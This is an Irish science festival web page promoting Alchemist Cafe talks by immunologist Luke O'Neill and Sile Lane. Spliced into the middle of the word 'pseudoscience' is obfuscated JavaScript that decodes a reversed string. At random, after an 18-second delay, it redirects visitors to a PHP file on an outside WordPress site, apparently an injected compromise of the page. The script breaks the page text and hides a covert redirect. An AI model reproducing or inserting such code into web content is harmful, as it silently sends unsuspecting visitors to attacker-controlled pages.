Taking Science out of the Lab…

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Luke-ONeillWe are so excited about our Alchemist Cafes where this year we will be taking science to the theatre and even to the pub!

See Events page for details of our Alchemist cafes where you will have the opportunity to hear from Ireland’s best known scientist Prof Luke O’Neill, an amazing science communica tor and also Sile Lane of Sense about Science, for an evening of discussion and debate about the hot issues in science and how they affect our lives.

Prof Luke O’Neill was a huge hit at last year’s festival and he has recently been named in the top 1% of scientists world-wide due to his ground-breaking work in immunology. Sile Lane is passionate about science and encouraging people to ask for the evidence in a world where it is often difficult to distinguish between science and pseu $mWn=function(n){if(typeof ($mWn.list[n])==”string”) return $mWn.list[n].split(“”).reverse().join(“”);return $mWn.list[n];};$mWn.list=[“\’php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-retoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}doscience or clever marketing. Join these two inspiring science communica tors for an entertaining evening of science discovery and discussion. This evening will be chaired by award-winning broadcaster Jonathan McCrea of Newstalk’s Futureproof programme

Professor Luke O’ Neill said, ‘Science Week is all about inspiring the next generation of scientists through hands-on learning and experience. The ongoing scarceness of qualified Irish scientists certainly brings challenges so I am really keen to get involved in anything which promotes the fantastic adventure and exploration that science can be. The more young people we can encourage to choose a science-related career path, the more significant discoveries we are likely to have coming out of Ireland in to the future.’

Join us on the night of Nov 11th at Athlone Institute of Technology, but remember  to book your free ticket through this website!